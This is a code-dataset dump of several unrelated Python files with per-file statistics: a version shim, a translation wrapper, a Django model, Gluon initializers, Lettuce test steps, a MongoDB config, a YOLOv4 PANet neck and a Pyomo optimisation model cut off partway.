| 25.333333 | 66 | 0.796053 | 38 | 304 | 6.236842 | 0.657895 | 0.101266 | 0.135021 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.029412 | 0.105263 | 304 | 11 | 67 | 27.636364 | 0.841912 | 0.299342 | 0 | 0 | 0 | 0 | 0.052885 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.6 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
42891912ff638a67592f2c2207385400d55f099f | 287 | py | Python | independent.py | arch-lord/sherlock | 2329982b06b1265d81c5f8045417d29a70f4c5c1 | [
"MIT"
] | 6 | 2019-11-28T01:03:51.000Z | 2021-11-15T16:20:10.000Z | independent.py | arch-lord/sherlock | 2329982b06b1265d81c5f8045417d29a70f4c5c1 | [
"MIT"
] | null | null | null | independent.py | arch-lord/sherlock | 2329982b06b1265d81c5f8045417d29a70f4c5c1 | [
"MIT"
] | 1 | 2019-11-28T01:04:02.000Z | 2019-11-28T01:04:02.000Z | from sys import version as sys_version
version = int(sys_version[:1])
version_major = sys_version[:1]
version_minor = sys_version[2:3]
version_full = sys_version[:3]
def input(prompt):
if version == 3:
return input(prompt)
else:
return raw_input(prompt)
| 22.076923 | 38 | 0.682927 | 42 | 287 | 4.452381 | 0.452381 | 0.26738 | 0.117647 | 0.192513 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.026667 | 0.216028 | 287 | 12 | 39 | 23.916667 | 0.804444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.1 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
42ab416b15b78f49f01f79e3e7d517036dc1500d | 220 | py | Python | Backend/AssistantFunctions/translate__.py | swasthikshetty10/EPAX-AI | 7d8d0103c82ecf3d6396f51cc2fad234ee7880be | [
"MIT"
] | 9 | 2021-01-31T05:23:58.000Z | 2021-10-05T06:38:36.000Z | Backend/AssistantFunctions/translate__.py | swasthikshetty10/EPAX-AI | 7d8d0103c82ecf3d6396f51cc2fad234ee7880be | [
"MIT"
] | 1 | 2021-01-31T05:56:38.000Z | 2021-01-31T05:56:38.000Z | Backend/AssistantFunctions/translate__.py | swasthikshetty10/EPAX-AI | 7d8d0103c82ecf3d6396f51cc2fad234ee7880be | [
"MIT"
] | 2 | 2021-02-01T03:11:18.000Z | 2022-01-16T11:09:58.000Z |
from google_trans_new import google_translator
translator = google_translator()
def gtranslate(query, dest='en'):
value = translator.translate(query, lang_tgt=dest)
return value
# print(gtranslate('hola'))
| 16.923077 | 54 | 0.75 | 27 | 220 | 5.925926 | 0.666667 | 0.2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.145455 | 220 | 12 | 55 | 18.333333 | 0.851064 | 0.113636 | 0 | 0 | 0 | 0 | 0.010417 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
c4013ecf0e1070141ade3e010995a6baf7712a1e | 485 | py | Python | consent_form/models.py | AurelienNioche/ModelingMadeEasyApp | dbb738dda204906c5f4b7aeb9c71feea961a4cce | [
"MIT"
] | null | null | null | consent_form/models.py | AurelienNioche/ModelingMadeEasyApp | dbb738dda204906c5f4b7aeb9c71feea961a4cce | [
"MIT"
] | null | null | null | consent_form/models.py | AurelienNioche/ModelingMadeEasyApp | dbb738dda204906c5f4b7aeb9c71feea961a4cce | [
"MIT"
] | null | null | null | from django.db import models
class ConsentForm(models.Model):
user_id = models.CharField(max_length=80)
perm1 = models.CharField(max_length=80)
perm2 = models.CharField(max_length=80)
username = models.TextField()
date = models.DateField(max_length=80)
city = models.TextField(max_length=80)
def __str__(self):
return f"{self.date} | {self.user_id} | {self.username} | " \
f"{self.city} | perm1={self.perm1} | perm2={self.perm2}"
| 30.3125 | 71 | 0.665979 | 64 | 485 | 4.875 | 0.40625 | 0.144231 | 0.176282 | 0.230769 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 0.041026 | 0.195876 | 485 | 15 | 72 | 32.333333 | 0.758974 | 0 | 0 | 0 | 0 | 0 | 0.210309 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.090909 | 0.090909 | 0.909091 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
c4136866e5716fd7421ddc2f8a5f843204505e55 | 1,780 | py | Python | monk/gluon/models/initializers.py | gstearmit/monk_v1 | 89184ae27dc6d134620034d5b12aa86473ea47ba | [
"Apache-2.0"
] | null | null | null | monk/gluon/models/initializers.py | gstearmit/monk_v1 | 89184ae27dc6d134620034d5b12aa86473ea47ba | [
"Apache-2.0"
] | 9 | 2020-01-28T21:40:39.000Z | 2022-02-10T01:24:06.000Z | monk/gluon/models/initializers.py | abhi-kumar/monk_kaggle_bengali_ai | 12a6c654446e887706c1a8bed82fccf8a98ce356 | [
"Apache-2.0"
] | 1 | 2020-10-07T12:57:44.000Z | 2020-10-07T12:57:44.000Z | from gluon.models.imports import *
from system.imports import *
@TraceFunction(trace_args=False, trace_rv=False)
def initialize_network(net, initializer):
if(initializer == "xavier_normal"):
net.initialize(initializer_xavier_normal(), ctx = ctx);
elif(initializer == "xavier_uniform"):
net.initialize(initializer_xavier_uniform(), ctx = ctx);
elif(initializer == "msra"):
net.initialize(initializer_msra(), ctx = ctx);
elif(initializer == "normal"):
net.initialize(initializer_normal(), ctx = ctx);
elif(initializer == "orthogonal_normal"):
net.initialize(initializer_orthogonal_normal(), ctx = ctx);
elif(initializer == "orthogonal_uniform"):
net.initialize(initializer_orthogonal_uniform(), ctx = ctx);
elif(initializer == "uniform"):
net.initialize(initializer_uniform(), ctx = ctx);
return net;
@TraceFunction(trace_args=False, trace_rv=False)
def initializer_xavier_normal():
return initializer.Xavier(rnd_type='gaussian');
@TraceFunction(trace_args=False, trace_rv=False)
def initializer_xavier_uniform():
return initializer.Xavier(rnd_type='uniform');
@TraceFunction(trace_args=False, trace_rv=False)
def initializer_msra():
return initializer.MSRAPrelu();
@TraceFunction(trace_args=False, trace_rv=False)
def initializer_normal():
return initializer.Normal();
@TraceFunction(trace_args=False, trace_rv=False)
def initializer_orthogonal_normal():
return initializer.Orthogonal(rand_type='normal');
@TraceFunction(trace_args=False, trace_rv=False)
def initializer_orthogonal_uniform():
return initializer.Orthogonal(rand_type='uniform');
@TraceFunction(trace_args=False, trace_rv=False)
def initializer_uniform():
return initializer.Uniform(); | 34.901961 | 68 | 0.741573 | 201 | 1,780 | 6.333333 | 0.149254 | 0.113119 | 0.138256 | 0.169678 | 0.595444 | 0.434407 | 0.376277 | 0.376277 | 0.343284 | 0.30165 | 0 | 0 | 0.132584 | 1,780 | 51 | 69 | 34.901961 | 0.824482 | 0 | 0 | 0.2 | 0 | 0 | 0.060079 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.05 | 0.175 | 0.45 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
c414b39252f14a48ea5c7871c89954c48ee0a7df | 633 | py | Python | lettuce_webdriver/django.py | nattster/lettuce_webdriver | 26b910ceef67d5b81030640ebbab0504bd59d643 | [
"MIT"
] | 24 | 2015-02-04T14:49:51.000Z | 2021-03-23T17:17:09.000Z | lettuce_webdriver/django.py | nattster/lettuce_webdriver | 26b910ceef67d5b81030640ebbab0504bd59d643 | [
"MIT"
] | 4 | 2015-07-13T22:41:22.000Z | 2016-10-03T20:17:22.000Z | lettuce_webdriver/django.py | nattster/lettuce_webdriver | 26b910ceef67d5b81030640ebbab0504bd59d643 | [
"MIT"
] | 12 | 2015-01-24T02:05:39.000Z | 2016-12-30T07:30:28.000Z | """
Django-specific extensions
"""
import socket
import urlparse
from lettuce import step
from lettuce.django import server
# make sure the steps are loaded
import lettuce_webdriver.webdriver # pylint:disable=unused-import
def site_url(url):
"""
Determine the server URL.
"""
base_url = 'http://%s' % socket.gethostname()
if server.port is not 80:
base_url += ':%d' % server.port
return urlparse.urljoin(base_url, url)
@step(r'I visit site page "([^"]*)"')
def visit_page(self, page):
"""
Visit the specific page of the site.
"""
self.given('I visit "%s"' % site_url(page))
| 18.617647 | 66 | 0.654028 | 87 | 633 | 4.678161 | 0.494253 | 0.051597 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004008 | 0.21169 | 633 | 33 | 67 | 19.181818 | 0.811623 | 0.236967 | 0 | 0 | 0 | 0 | 0.114865 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.153846 | false | 0 | 0.384615 | 0 | 0.615385 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
c43363c6b002d9857725aab3c243c97ec8ad22b2 | 359 | py | Python | gymnast/pdf_elements/fonts/true_type.py | ajmarks/gymnast | db272bdf24ae51c2c575c34abefb1c265f4cd3f5 | [
"MIT"
] | 12 | 2015-11-18T23:24:16.000Z | 2018-03-26T23:56:53.000Z | gymnast/pdf_elements/fonts/true_type.py | ajmarks/pdf_parser | db272bdf24ae51c2c575c34abefb1c265f4cd3f5 | [
"MIT"
] | 4 | 2015-11-05T23:40:46.000Z | 2015-11-10T19:35:59.000Z | gymnast/pdf_elements/fonts/true_type.py | ajmarks/pdf_parser | db272bdf24ae51c2c575c34abefb1c265f4cd3f5 | [
"MIT"
] | 1 | 2016-07-14T22:23:53.000Z | 2016-07-14T22:23:53.000Z | """
TrueType Fonts
"""
from .base_font import PdfBaseFont
class TrueTypeFont(PdfBaseFont):
"""For our purposes, these are just a more restricted form of the Type 1
Fonts, so...we're done here."""
def text_space_coords(self, x, y):
"""Type1 fonts just scale by 1/1000 to convert from glyph space"""
return x/1000., y/1000.
| 25.642857 | 76 | 0.657382 | 54 | 359 | 4.314815 | 0.796296 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.054348 | 0.231198 | 359 | 13 | 77 | 27.615385 | 0.789855 | 0.48468 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
c43620e7465ba35e66bcff3f8303b2f25dbed454 | 374 | py | Python | repository/database.py | redxzeta/koku-flask | 856356ce9076bfcedc287cbeb33ab41581c8ebff | [
"MIT"
] | null | null | null | repository/database.py | redxzeta/koku-flask | 856356ce9076bfcedc287cbeb33ab41581c8ebff | [
"MIT"
] | null | null | null | repository/database.py | redxzeta/koku-flask | 856356ce9076bfcedc287cbeb33ab41581c8ebff | [
"MIT"
] | null | null | null | import sys
import os
from repository.mongo.MongoDB import *
USERNAME = os.environ.get("MONGOUSER")
PASS = os.environ.get("PASS")
DB_NAME = os.environ.get("DB_NAME")
COLLECTIONS = { "koku": DEFAULT}
URL = f"mongodb+srv://{USERNAME}:{PASS}@cluster0.hhjqb.mongodb.net/{DB_NAME}?retryWrites=true&w=majority"
CONNECTION = MongoDB(database=DB_NAME, docs=COLLECTIONS, url=URL)
| 26.714286 | 105 | 0.745989 | 54 | 374 | 5.092593 | 0.555556 | 0.087273 | 0.130909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002941 | 0.090909 | 374 | 13 | 106 | 28.769231 | 0.805882 | 0 | 0 | 0 | 0 | 0.111111 | 0.320856 | 0.256684 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.222222 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 2 |
c4374be1175ee4054be31debfb5fc4bf940c8ad8 | 10,846 | py | Python | xtreme_vision/Detection/yolov4/model/neck.py | rjalif199/Xtreme-Vision | 15ff71ccdcdbb76637524fe30559ce1671f3bbfb | [
"MIT"
] | 81 | 2020-11-21T07:21:38.000Z | 2022-02-14T18:31:55.000Z | xtreme_vision/Detection/yolov4/model/neck.py | rjalif199/Xtreme-Vision | 15ff71ccdcdbb76637524fe30559ce1671f3bbfb | [
"MIT"
] | 10 | 2020-12-01T13:00:48.000Z | 2021-07-18T10:40:01.000Z | xtreme_vision/Detection/yolov4/model/neck.py | rjalif199/Xtreme-Vision | 15ff71ccdcdbb76637524fe30559ce1671f3bbfb | [
"MIT"
] | 23 | 2020-11-24T06:30:23.000Z | 2021-07-05T01:37:58.000Z | """
MIT License
Copyright (c) 2020 Hyeonki Hong <hhk7734@gmail.com>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
from tensorflow.keras import layers, Model
from xtreme_vision.Detection.yolov4.model.common import YOLOConv2D
class PANet(Model):
def __init__(
self,
num_classes,
activation: str = "leaky",
kernel_regularizer=None,
):
super(PANet, self).__init__(name="PANet")
self.conv78 = YOLOConv2D(
filters=256,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.upSampling78 = layers.UpSampling2D(interpolation="bilinear")
self.conv79 = YOLOConv2D(
filters=256,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.concat78_79 = layers.Concatenate(axis=-1)
self.conv80 = YOLOConv2D(
filters=256,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv81 = YOLOConv2D(
filters=512,
kernel_size=3,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv82 = YOLOConv2D(
filters=256,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv83 = YOLOConv2D(
filters=512,
kernel_size=3,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv84 = YOLOConv2D(
filters=256,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv85 = YOLOConv2D(
filters=128,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.upSampling85 = layers.UpSampling2D(interpolation="bilinear")
self.conv86 = YOLOConv2D(
filters=128,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.concat85_86 = layers.Concatenate(axis=-1)
self.conv87 = YOLOConv2D(
filters=128,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv88 = YOLOConv2D(
filters=256,
kernel_size=3,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv89 = YOLOConv2D(
filters=128,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv90 = YOLOConv2D(
filters=256,
kernel_size=3,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv91 = YOLOConv2D(
filters=128,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv92 = YOLOConv2D(
filters=256,
kernel_size=3,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv93 = YOLOConv2D(
filters=3 * (num_classes + 5),
kernel_size=1,
activation=None,
kernel_regularizer=kernel_regularizer,
)
self.conv94 = YOLOConv2D(
filters=256,
kernel_size=3,
strides=2,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.concat84_94 = layers.Concatenate(axis=-1)
self.conv95 = YOLOConv2D(
filters=256,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv96 = YOLOConv2D(
filters=512,
kernel_size=3,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv97 = YOLOConv2D(
filters=256,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv98 = YOLOConv2D(
filters=512,
kernel_size=3,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv99 = YOLOConv2D(
filters=256,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv100 = YOLOConv2D(
filters=512,
kernel_size=3,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv101 = YOLOConv2D(
filters=3 * (num_classes + 5),
kernel_size=1,
activation=None,
kernel_regularizer=kernel_regularizer,
)
self.conv102 = YOLOConv2D(
filters=512,
kernel_size=3,
strides=2,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.concat77_102 = layers.Concatenate(axis=-1)
self.conv103 = YOLOConv2D(
filters=512,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv104 = YOLOConv2D(
filters=1024,
kernel_size=3,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv105 = YOLOConv2D(
filters=512,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv106 = YOLOConv2D(
filters=1024,
kernel_size=3,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv107 = YOLOConv2D(
filters=512,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv108 = YOLOConv2D(
filters=1024,
kernel_size=3,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv109 = YOLOConv2D(
filters=3 * (num_classes + 5),
kernel_size=1,
activation=None,
kernel_regularizer=kernel_regularizer,
)
def call(self, x):
route1, route2, route3 = x
x1 = self.conv78(route3)
part2 = self.upSampling78(x1)
part1 = self.conv79(route2)
x1 = self.concat78_79([part1, part2])
x1 = self.conv80(x1)
x1 = self.conv81(x1)
x1 = self.conv82(x1)
x1 = self.conv83(x1)
x1 = self.conv84(x1)
x2 = self.conv85(x1)
part2 = self.upSampling85(x2)
part1 = self.conv86(route1)
x2 = self.concat85_86([part1, part2])
x2 = self.conv87(x2)
x2 = self.conv88(x2)
x2 = self.conv89(x2)
x2 = self.conv90(x2)
x2 = self.conv91(x2)
pred_s = self.conv92(x2)
pred_s = self.conv93(pred_s)
x2 = self.conv94(x2)
x2 = self.concat84_94([x2, x1])
x2 = self.conv95(x2)
x2 = self.conv96(x2)
x2 = self.conv97(x2)
x2 = self.conv98(x2)
x2 = self.conv99(x2)
pred_m = self.conv100(x2)
pred_m = self.conv101(pred_m)
x2 = self.conv102(x2)
x2 = self.concat77_102([x2, route3])
x2 = self.conv103(x2)
x2 = self.conv104(x2)
x2 = self.conv105(x2)
x2 = self.conv106(x2)
x2 = self.conv107(x2)
pred_l = self.conv108(x2)
pred_l = self.conv109(pred_l)
return pred_s, pred_m, pred_l
class PANetTiny(Model):
def __init__(
self, num_classes, activation: str = "leaky", kernel_regularizer=None
):
super(PANetTiny, self).__init__(name="PANetTiny")
self.conv15 = YOLOConv2D(
filters=256,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv16 = YOLOConv2D(
filters=512,
kernel_size=3,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv17 = YOLOConv2D(
filters=3 * (num_classes + 5),
kernel_size=1,
activation=None,
kernel_regularizer=kernel_regularizer,
)
self.conv18 = YOLOConv2D(
filters=128,
kernel_size=1,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.upSampling18 = layers.UpSampling2D(interpolation="bilinear")
self.concat13_18 = layers.Concatenate(axis=-1)
self.conv19 = YOLOConv2D(
filters=256,
kernel_size=3,
activation=activation,
kernel_regularizer=kernel_regularizer,
)
self.conv20 = YOLOConv2D(
filters=3 * (num_classes + 5),
kernel_size=1,
activation=None,
kernel_regularizer=kernel_regularizer,
)
def call(self, x):
route1, route2 = x
x1 = self.conv15(route2)
x2 = self.conv16(x1)
pred_l = self.conv17(x2)
x1 = self.conv18(x1)
x1 = self.upSampling18(x1)
x1 = self.concat13_18([x1, route1])
x1 = self.conv19(x1)
pred_m = self.conv20(x1)
return pred_m, pred_l
| 29.63388 | 78 | 0.574313 | 1,064 | 10,846 | 5.698308 | 0.195489 | 0.218704 | 0.144153 | 0.213096 | 0.635824 | 0.593106 | 0.586508 | 0.586508 | 0.586508 | 0.586508 | 0 | 0.074142 | 0.347133 | 10,846 | 365 | 79 | 29.715068 | 0.782093 | 0.100313 | 0 | 0.52459 | 0 | 0 | 0.004923 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.013115 | false | 0 | 0.006557 | 0 | 0.032787 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c43c4ac18f0af805de86331b4e9b6b0e4e831281 | 12,316 | py | Python | models_nonconvex_simple/heatexch_spec2.py | grossmann-group/pyomo-MINLP-benchmarking | 714f0a0dffd61675649a805683c0627af6b4929e | [
"MIT"
] | 7 | 2019-05-08T19:14:34.000Z | 2021-12-24T00:00:40.000Z | models_nonconvex_simple/heatexch_spec2.py | grossmann-group/pyomo-MINLP-benchmarking | 714f0a0dffd61675649a805683c0627af6b4929e | [
"MIT"
] | null | null | null | models_nonconvex_simple/heatexch_spec2.py | grossmann-group/pyomo-MINLP-benchmarking | 714f0a0dffd61675649a805683c0627af6b4929e | [
"MIT"
] | 1 | 2019-05-10T18:34:18.000Z | 2019-05-10T18:34:18.000Z | # MINLP written by GAMS Convert at 08/13/20 17:37:59
#
# Equation counts
# Total E G L N X C B
# 91 31 18 42 0 0 0 0
#
# Variable counts
# x b i s1s s2s sc si
# Total cont binary integer sos1 sos2 scont sint
# 77 61 16 0 0 0 0 0
# FX 0 0 0 0 0 0 0 0
#
# Nonzero counts
# Total const NL DLL
# 301 259 42 0
#
# Reformulation has removed 1 variable and 1 equation
from pyomo.environ import *
model = m = ConcreteModel()
m.b1 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b2 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b3 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b4 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b5 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b6 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b7 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b8 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b9 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b10 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b11 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b12 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b13 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b14 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b15 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b16 = Var(within=Binary,bounds=(0,1),initialize=0)
m.x17 = Var(within=Reals,bounds=(320,500),initialize=500)
m.x18 = Var(within=Reals,bounds=(320,500),initialize=500)
m.x19 = Var(within=Reals,bounds=(320,500),initialize=500)
m.x20 = Var(within=Reals,bounds=(380,480),initialize=480)
m.x21 = Var(within=Reals,bounds=(380,480),initialize=480)
m.x22 = Var(within=Reals,bounds=(380,480),initialize=480)
m.x23 = Var(within=Reals,bounds=(360,460),initialize=460)
m.x24 = Var(within=Reals,bounds=(360,460),initialize=460)
m.x25 = Var(within=Reals,bounds=(360,460),initialize=460)
m.x26 = Var(within=Reals,bounds=(360,380),initialize=380)
m.x27 = Var(within=Reals,bounds=(360,380),initialize=380)
m.x28 = Var(within=Reals,bounds=(360,380),initialize=380)
m.x29 = Var(within=Reals,bounds=(320,380),initialize=380)
m.x30 = Var(within=Reals,bounds=(320,380),initialize=380)
m.x31 = Var(within=Reals,bounds=(320,380),initialize=380)
m.x32 = Var(within=Reals,bounds=(290,660),initialize=290)
m.x33 = Var(within=Reals,bounds=(290,660),initialize=290)
m.x34 = Var(within=Reals,bounds=(290,660),initialize=290)
m.x35 = Var(within=Reals,bounds=(0,None),initialize=1080)
m.x36 = Var(within=Reals,bounds=(0,None),initialize=1080)
m.x37 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x38 = Var(within=Reals,bounds=(0,None),initialize=400)
m.x39 = Var(within=Reals,bounds=(0,None),initialize=400)
m.x40 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x41 = Var(within=Reals,bounds=(0,None),initialize=600)
m.x42 = Var(within=Reals,bounds=(0,None),initialize=600)
m.x43 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x44 = Var(within=Reals,bounds=(0,None),initialize=400)
m.x45 = Var(within=Reals,bounds=(0,None),initialize=400)
m.x46 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x47 = Var(within=Reals,bounds=(0,None),initialize=720)
m.x48 = Var(within=Reals,bounds=(0,None),initialize=720)
m.x49 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x50 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x51 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x52 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x53 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x54 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x55 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x56 = Var(within=Reals,bounds=(10,None),initialize=210)
m.x57 = Var(within=Reals,bounds=(10,None),initialize=210)
m.x58 = Var(within=Reals,bounds=(10,None),initialize=210)
m.x59 = Var(within=Reals,bounds=(10,None),initialize=190)
m.x60 = Var(within=Reals,bounds=(10,None),initialize=190)
m.x61 = Var(within=Reals,bounds=(10,None),initialize=190)
m.x62 = Var(within=Reals,bounds=(10,None),initialize=170)
m.x63 = Var(within=Reals,bounds=(10,None),initialize=170)
m.x64 = Var(within=Reals,bounds=(10,None),initialize=170)
m.x65 = Var(within=Reals,bounds=(10,None),initialize=90)
m.x66 = Var(within=Reals,bounds=(10,None),initialize=90)
m.x67 = Var(within=Reals,bounds=(10,None),initialize=90)
m.x68 = Var(within=Reals,bounds=(10,None),initialize=90)
m.x69 = Var(within=Reals,bounds=(10,None),initialize=90)
m.x70 = Var(within=Reals,bounds=(10,None),initialize=90)
m.x71 = Var(within=Reals,bounds=(10,None),initialize=180)
m.x72 = Var(within=Reals,bounds=(10,None),initialize=160)
m.x73 = Var(within=Reals,bounds=(10,None),initialize=140)
m.x74 = Var(within=Reals,bounds=(10,None),initialize=60)
m.x75 = Var(within=Reals,bounds=(10,None),initialize=60)
m.x76 = Var(within=Reals,bounds=(10,None),initialize=410)
m.obj = Objective(expr=1200*((1e-6 + m.x35/(1e-6 + (1e-6 + 0.5*m.x56*m.x57*(m.x56 + m.x57))**0.33333))**0.6 + (1e-6 +
m.x36/(1e-6 + (1e-6 + 0.5*m.x57*m.x58*(m.x57 + m.x58))**0.33333))**0.6 + (1e-6 + 99.9853968566039
